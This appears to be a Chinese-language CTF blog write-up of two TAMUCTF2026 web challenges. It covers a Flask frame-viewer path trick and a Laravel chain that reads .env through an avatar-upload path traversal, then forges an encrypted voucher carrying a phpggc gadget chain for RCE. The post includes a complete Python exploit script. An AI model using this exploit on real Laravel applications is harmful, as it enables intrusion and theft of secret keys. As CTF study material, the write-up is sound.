Skip to content
Fortyn-Blog
Go back

TAMUCTF2026

[+]bad-apple

首先看题目源码

from flask import Flask, render_template, request, redirect, url_for, send_from_directory, make_response, jsonify
import os
import subprocess
import uuid
from werkzeug.utils import secure_filename

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

app = Flask(__name__, template_folder=os.path.join(BASE_DIR, 'templates'),  static_folder='/srv/http/static')

UPLOAD_FOLDER = '/srv/http/uploads'
FRAMES_BASE = '/srv/http/static/frames'

os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(FRAMES_BASE, exist_ok=True)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024

@app.errorhandler(413)
def request_entity_too_large(error):
    return jsonify({'success': False, 'error': 'File too large. Maximum size is 16MB.'}), 413

def get_user_id():
    user_id = request.cookies.get('user_id')
    if not user_id:
        user_id = str(uuid.uuid4())
    return user_id

def extract_frames(input_path, output_dir, gif_name):
    os.makedirs(output_dir, exist_ok=True)
    
    width = 120
    
    cmd = [
        'ffmpeg', '-i', input_path,
        '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
        '-y', f'{output_dir}/palette.png'
    ]
    subprocess.run(cmd, capture_output=True)
    
    cmd = [
        'ffmpeg', '-i', input_path,
        '-i', f'{output_dir}/palette.png',
        '-lavfi', f'fps=10,scale={width}:-1:flags=lanczos[x];[x][1:v]paletteuse',
        '-y', f'{output_dir}/output.gif'
    ]
    subprocess.run(cmd, capture_output=True)
    
    frame_count = 0
    cmd = [
        'ffmpeg', '-i', f'{output_dir}/output.gif',
        f'{output_dir}/frame_%04d.png'
    ]
    subprocess.run(cmd, capture_output=True)
    
    for f in os.listdir(output_dir):
        if f.startswith('frame_') and f.endswith('.png'):
            frame_count += 1
    
    return frame_count

@app.route('/')
def index():
    user_id = get_user_id()
    
    view_gif = request.args.get('view')
    view_user_id = request.args.get('view_user_id', user_id)
    view_frames = []
    
    if view_gif:
        view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)
        if os.path.exists(view_frames_dir):
            view_frames = sorted([f for f in os.listdir(view_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
    
    default_frames_dir = os.path.join(FRAMES_BASE, 'shared', 'bad-apple')
    default_frames = []
    if os.path.exists(default_frames_dir):
        default_frames = sorted([f for f in os.listdir(default_frames_dir) if f.startswith('frame_') and f.endswith('.png')])
    
    user_frames_dir = os.path.join(FRAMES_BASE, user_id)
    gifs = []
    if os.path.exists(user_frames_dir):
        for gif_name in os.listdir(user_frames_dir):
            gif_path = os.path.join(user_frames_dir, gif_name)
            if os.path.isdir(gif_path):
                frames = [f for f in os.listdir(gif_path) if f.startswith('frame_') and f.endswith('.png')]
                gifs.append({'name': gif_name, 'frame_count': len(frames)})
    
    response = make_response(render_template('index.html', 
        user_id=user_id, 
        default_gif='bad-apple',
        default_frames=default_frames,
        gifs=gifs,
        view_gif=view_gif,
        view_user_id=view_user_id,
        view_frames=view_frames))
    response.set_cookie('user_id', user_id)
    return response

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return jsonify({'success': False, 'error': 'No file uploaded'}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({'success': False, 'error': 'No file selected'}), 400
    
    if file:
        filename = secure_filename(file.filename)
        user_id = request.cookies.get('user_id')
        if not user_id:
            user_id = str(uuid.uuid4())
        
        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], user_id)
        os.makedirs(user_dir, exist_ok=True)
        
        filepath = os.path.join(user_dir, filename)
        file.save(filepath)
        
        safe_name = os.path.splitext(os.path.basename(filename))[0]
        output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
        
        if os.path.exists(output_dir) and os.listdir(output_dir):
            return jsonify({'success': False, 'error': 'GIF with this name already exists'}), 400
        
        os.makedirs(output_dir, exist_ok=True)
        
        try:
            extract_frames(filepath, output_dir, safe_name)
            response = make_response(jsonify({'success': True, 'user_id': user_id, 'gif_name': safe_name}))
            response.set_cookie('user_id', user_id)
            return response
        except Exception as e:
            return jsonify({'success': False, 'error': str(e)}), 500

@app.route('/convert')
def convert():
    user_id = request.args.get('user_id', 'anonymous')
    filename = request.args.get('filename', '')

    input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
    if not os.path.exists(input_path):
        return "File not found", 404

    safe_name = os.path.splitext(os.path.basename(filename))[0]
    output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
    os.makedirs(output_dir, exist_ok=True)

    try:
        frame_count = extract_frames(input_path, output_dir, safe_name)
        return redirect(url_for('index', view=safe_name, user_id=user_id))
    except Exception as e:
        return f"Error processing file: {str(e)}", 500

@app.route('/get_frames')
def get_frames():
    user_id = request.args.get('user_id', 'anonymous')
    gif_name = request.args.get('gif_name', '')
    
    frames_dir = os.path.join(FRAMES_BASE, user_id, gif_name)
    
    if not os.path.exists(frames_dir):
        return jsonify({'error': 'GIF not found'}), 404
    
    frames = sorted([f for f in os.listdir(frames_dir) if f.startswith('frame_') and f.endswith('.png')])
    
    return jsonify(frames)

application = app

先看三个路由有无可以利用的漏洞点。

在 / 路由下,可以发现有个render_template函数,但是他的参数不可控,一直都是index.html,所以这里无法进行ssti,除非可以用同名但包含其他内容的index.html进行覆盖;还有通过url获取参数 view 和 view_user_id ,在通过这句 view_frames_dir = os.path.join(FRAMES_BASE, view_user_id, view_gif)将主页的动态帧路径变为flag路径,然后点击网页中的play便可查看flag。

再看/upload,这里面有个 werkzeug.utils 库的 secure_filename 函数,是防止攻击者通过文件名来路径遍历的一个函数。再后面的话就是extract_frames(filepath, output_dir, safe_name)这句,作用是将一个.gif文件拆成一帧帧的.png文件,其中的filepath是通过 os.path.join(user_dir, filename) 这句拼接出来的,user_dir 是通过 os.path.join(app.config[‘UPLOAD_FOLDER’], user_id) 拼接出来的,故filepath就是**/srv/http/uploads/<user_id>/,然后将此路径的gif存储到output_dir中,也就是这句 os.path.join(FRAMES_BASE, user_id, safe_name) 拼接出来的/srv/http/static/frames/<user_id>/**。

最后看/convert路由,通过get请求获取参数user_id与filename,从 /srv/http/uploads/<user_id>/ 读取目标 gif,并调用 extract_frames() 将其拆分到 /srv/http/static/frames/<user_id>/<safe_name>/ 目录下。这样原本的 gif就被转化成了后续可由首页直接播放的静态 png 帧。用frame_count记录*flag.gif的一张张帧图片,其实就是将原本网页默认的bad-apple动画变为flag动画,起到一个转变的作用。

接下来看题目的一个附件:httpd-append.conf

<VirtualHost *:80>
    WSGIScriptAlias / /srv/app/wsgi_app.py

    <Directory /srv/app>
        Require all granted
    </Directory>

    Alias /browse /srv/http/uploads
    <Directory /srv/http/uploads>
        Options +Indexes
        DirectoryIndex disabled
        IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
        AllowOverride None
        Require all granted

        <FilesMatch "\.gif$">
            AuthType Basic
            AuthName "Admin Area"
            AuthUserFile /srv/http/.htpasswd
            Require valid-user
        </FilesMatch>
    </Directory>
</VirtualHost>

这个附件就是该服务器的部分apache配置信息。其中一句Alias /browse /srv/http/uploads意味着网页中/browse路由对应着服务器的/srv/http/uploads路由,进入/browse可以发现还有个admin路由,进去发现*flag.gif的文件。

现在整个攻击链路就已经搞清楚了,就是先通过/browse找到flag对应的gif文件,然后通过/convert路由传参将网页主页的帧动画转变为flag,最后通过/路由传参

?view=e017b6321bda6812ec80e9fac368709e-flag&view_user_id=admin

点击play按钮,即可获取flag

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]vault

这道题在注册和登录后,进入仪表盘,然后有四个路径可以走

但是我在四个界面中都看了看,并没有发现什么突破口。那就直接来看源码。

经历了一番检索之后,发现account等四个路径中,只有Vouchers这个路径有突破口,现在我贴出VouchersController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Contracts\Encryption\DecryptException;
use Carbon\Carbon;

class VouchersController extends Controller
{
    public function index(Request $request)
    {
        return view('vouchers', ['user' => Auth::user()]);
    }

    public function create(Request $request)
    {
        $data = $request->validate([
            'amount' => 'required|integer|min:1'
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        $amount = (int) $data['amount'];

        if ($user->balance < $amount) {
            return back()->withErrors([
                'amount' => 'Amount is greater than funds available.'
            ]);
        }

        $user->balance -= $amount;
        $user->save();

        $voucher = encrypt([
            'amount' => $amount,
            'created_by' => $user->uuid,
            'created_at' => Carbon::now()
        ]);

        return back()->with('voucher', $voucher);
    }

    public function redeem(Request $request)
    {
        $data = $request->validate([
            'voucher' => 'required|string'
        ]);

        try {
            $voucher = decrypt($data['voucher']);
        } catch (DecryptException $e) {
            return back()->withErrors([
                'voucher' => 'Invalid voucher.'
            ]);
        }

        /** @var \App\Models\User $user */
        $user = Auth::user();
        $user->balance += $voucher['amount'];
        $user->save();

        return redirect()->back();
    }
}

其中突破点就在line52-54中的 $voucher = decrypt($data[‘voucher’]); 是一段对voucher解密的代码,那么我们就去看看这个decrypt是怎么个事儿。我去翻了下Laravel的开发文档,可以看到laravel框架中的decrypt函数,在laravel框架的src//Illuminate/Encryption/Encrypter.php中可见

public function decrypt($payload, $unserialize = true)
  {
    $payload = $this->getJsonPayload($payload);

    $iv = base64_decode($payload['iv']);

    $this->ensureTagIsValid(
      $tag = empty($payload['tag']) ? null : base64_decode($payload['tag'])
    );

    // Here we will decrypt the value. If we are able to successfully decrypt it
    // we will then unserialize it and return it out to the caller. If we are
    // unable to decrypt this value we will throw out an exception message.
    $decrypted = \openssl_decrypt(
      $payload['value'], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ''
    );

    if ($decrypted === false) {
      throw new DecryptException('Could not decrypt the data.');
    }

    return $unserialize ? unserialize($decrypted) : $decrypted;
  }

可见decrypt函数中有两个参数,而此题源码中的$voucher = decrypt($data[‘voucher’]);只传了一个参数,第二个参数$unserialize的值默认为true,所以就会触发laravel框架内部的反序列化。

发现这个漏洞点后,便可以尝试通过篡改voucher的值来对网站进行一个攻击。在

$decrypted = \openssl_decrypt($payload[‘value’], strtolower($this->cipher), $this->key, 0, $iv, $tag ?? ”);

这句可见payload是通过一个key来解密的,所以前提是得获取APP_KEY,然后再通过这个key对payload进行加密。

在src\config\app.php中的’key’ => env(‘APP_KEY’)可知,app_key在环境变量中。而laravel官方文档明确写道.env文件在应用根目录中。现在要找到一个可以路径遍历的利用点。

在AccountController.php中,有个上传avatar的接口,我先把这个源码贴出来

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use App\Models\User;

class AccountController extends Controller 
{
    public function index(Request $request)
    {
        return view('account', ['user' => Auth::user()]);
    }

    public function update(Request $request)
    {
        /** @var \App\Models\User $user */
        $user = Auth::user();

        $credentials = $request->validate([
            'username' => 'required|string',
            'password' => 'nullable|string',
            'password2' => 'nullable|string'
        ]);

        if ($credentials['password'] !== $credentials['password2']) {
            return back()->withErrors(([
                'password' => 'Passwords do not match.'
            ]));
        }

        if ($credentials['username'] !== $user->username) {
            $existingUser = User::where('username', $credentials['username'])->first();
            if ($existingUser) {
                return back()->withErrors([
                    'username' => 'Username is taken.'
                ]);
            }

            $user->username = $credentials['username'];
        }

        if ($credentials['password'])
            $user->password = $credentials['password'];

        $user->save();

        return redirect()->refresh();
    }

    public function updateAvatar(Request $request)
    {
        $request->validate([
            'avatar' => 'required|image|max:2048'
        ]);

        /** @var \App\Models\User $user */
        $user = Auth::user();
        
        if ($user->avatar) {
            $previousPath = Storage::disk('public')->path($user->avatar);
            if (file_exists($previousPath))
                unlink($previousPath);
        }

        $name = $_FILES['avatar']['full_path'];
        $path = "/var/www/storage/app/public/avatars/$name";
        $request->file('avatar')->storeAs('avatars', basename($name), 'public');

        $user->avatar = $path;
        $user->save();

        return redirect()->back();
    }

    public function getAvatar(Request $request)
    {
        $path = Auth::user()->avatar;

        if (!$path)
            return response()->json(['error' => 'No avatar set.']);

        return response()->file($path);
    }
}

可见在updateAvatar函数中可能可以实现路径遍历。在web.php中可见其对应上传头像的路由
Route::post(‘/account/avatar’, [AccountController::class, ‘updateAvatar’]);

$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');

$user->avatar = $path;
$user->save();

看这段源码可知,程序会将上传文件名赋值给$name,随后拼接出
$path = “/var/www/storage/app/public/avatars/$name”;。
因此,我们可以在文件上传时将文件名构造为 ../../../../.env,使拼接后的 $path 中包含路径遍历内容。随后,程序又通过 $user->avatar = $path; 将该路径保存下来,且其中的遍历内容并未被清除。这样一来,当访问 /avatar 时,后端便会按照该路径读取文件,最终即可读到 .env 内容,从而获取 APP_KEY。

到此便有一条清晰的攻击链路出来了。

在/account/avatar上传一个合法PNG文件,通过文件名使/avatar指向.env内容->在/avatar中读取app_key->通过app_key对voucher内容进行伪造,使其通过decrypt函数的校验,触发反序列化链->RCE

以下是PoC:

import argparse
import base64
import hashlib
import hmac
import json
import os
import random
import re
import string
import subprocess
import sys
import urllib3

import requests
from Crypto.Cipher import AES

# 关闭 HTTPS 证书告警
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def extract_csrf(html: str) -> str:
    # 从页面中提取 CSRF token
    m = re.search(r'name="_token"\s+value="([^"]+)"', html)
    if m:
        return m.group(1)
    m = re.search(r'meta name="csrf-token" content="([^"]+)"', html)
    if m:
        return m.group(1)
    raise RuntimeError("CSRF token not found")


def tiny_png() -> bytes:
    # 构造一个最小合法 PNG 文件
    return (
        b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
        b"\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc``\x00\x00"
        b"\x00\x02\x00\x01\xe2!\xbc3\x00\x00\x00\x00IEND\xaeB`\x82"
    )


def laravel_encrypt_raw(serialized: str, key_bytes: bytes) -> str:
    # 按 Laravel 的格式加密字符串
    iv = os.urandom(16)
    pt = serialized.encode()

    # PKCS#7 填充
    pad = 16 - (len(pt) % 16)
    pt += bytes([pad]) * pad

    # AES-CBC 加密
    ct = AES.new(key_bytes, AES.MODE_CBC, iv).encrypt(pt)

    iv_b64 = base64.b64encode(iv).decode()
    val_b64 = base64.b64encode(ct).decode()

    # 计算 MAC,伪造成合法 Laravel 密文
    mac = hmac.new(key_bytes, (iv_b64 + val_b64).encode(), hashlib.sha256).hexdigest()
    payload = json.dumps(
        {"iv": iv_b64, "value": val_b64, "mac": mac, "tag": ""},
        separators=(",", ":"),
    )
    return base64.b64encode(payload.encode()).decode()


def run_phpggc(phpggc: str, chain: str, cmd: str) -> str:
    # 调用 phpggc 生成恶意序列化对象
    attempts = [
        ["php", phpggc, chain, "system", cmd],
        ["php", phpggc, chain, cmd],
        ["php", phpggc, "-f", chain, "system", cmd],
        ["php", phpggc, "-f", chain, cmd],
    ]
    for a in attempts:
        p = subprocess.run(a, capture_output=True, text=True)
        if p.returncode == 0 and p.stdout.strip():
            return p.stdout.strip()
    raise RuntimeError(f"phpggc failed for {chain}")


def main():
    parser = argparse.ArgumentParser(description="TAMUctf vault exploit")
    parser.add_argument(
        "--url",
        default="https://589b74a1-e8da-4294-838f-79453cf65191.tamuctf.com",
        help="target base url",
    )
    parser.add_argument(
        "--phpggc",
        default="phpggc/phpggc",
        help="path to phpggc entry script",
    )
    args = parser.parse_args()

    base = args.url.rstrip("/")

    # 使用 Session 自动保存登录态 cookie
    s = requests.Session()
    s.verify = False

    # 随机注册一个账号
    username = "u" + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
    password = "Pass123456!"

    # Register
    r = s.get(base + "/register", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/register",
        data={"_token": csrf, "username": username, "password": password, "password2": password},
        timeout=15,
    )

    # Login
    r = s.get(base + "/login", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/login",
        data={"_token": csrf, "username": username, "password": password},
        timeout=15,
    )

    # 利用头像上传点读取 .env
    r = s.get(base + "/account", timeout=15)
    csrf = extract_csrf(r.text)
    s.post(
        base + "/account/avatar",
        data={"_token": csrf},
        files={"avatar": ("../../../../.env", tiny_png(), "image/png")},
        timeout=15,
    )

    # 通过 /avatar 读取 .env 内容并提取 APP_KEY
    env_text = s.get(base + "/avatar", timeout=15).text
    m = re.search(r"^APP_KEY=(.+)$", env_text, flags=re.M)
    if not m:
        print("[-] APP_KEY not found from /avatar")
        sys.exit(1)

    app_key = m.group(1).strip()
    key = base64.b64decode(app_key.split(":", 1)[1])
    print(f"[+] APP_KEY: {app_key}")

    # 用 phpggc 生成 Laravel/RCE22 链,再按 Laravel 格式加密
    cmd = "sh -c 'cat /*-flag.txt > /var/www/public/pwn.txt'"
    serialized = run_phpggc(args.phpggc, "Laravel/RCE22", cmd)
    voucher = laravel_encrypt_raw(serialized, key)

    # 提交 voucher 触发反序列化链
    r = s.get(base + "/vouchers", timeout=15)
    csrf = extract_csrf(r.text)
    rr = s.post(
        base + "/vouchers/redeem",
        data={"_token": csrf, "voucher": voucher},
        timeout=15,
    )
    print(f"[+] redeem status: {rr.status_code}")

    # 读取命令执行后写出的文件
    fr = s.get(base + "/pwn.txt", timeout=15)
    print(f"[+] /pwn.txt status: {fr.status_code}")
    print(fr.text.strip())

    # 提取 flag
    flag = re.search(r"gigem\{[^}]+\}", fr.text, flags=re.I)
    if flag:
        print(f"[FLAG] {flag.group(0)}")
    else:
        print("[-] flag regex not found")


if __name__ == "__main__":
    main()


Previous Post
关于用gopher协议进行SSRF
Next Post
HTB-Facts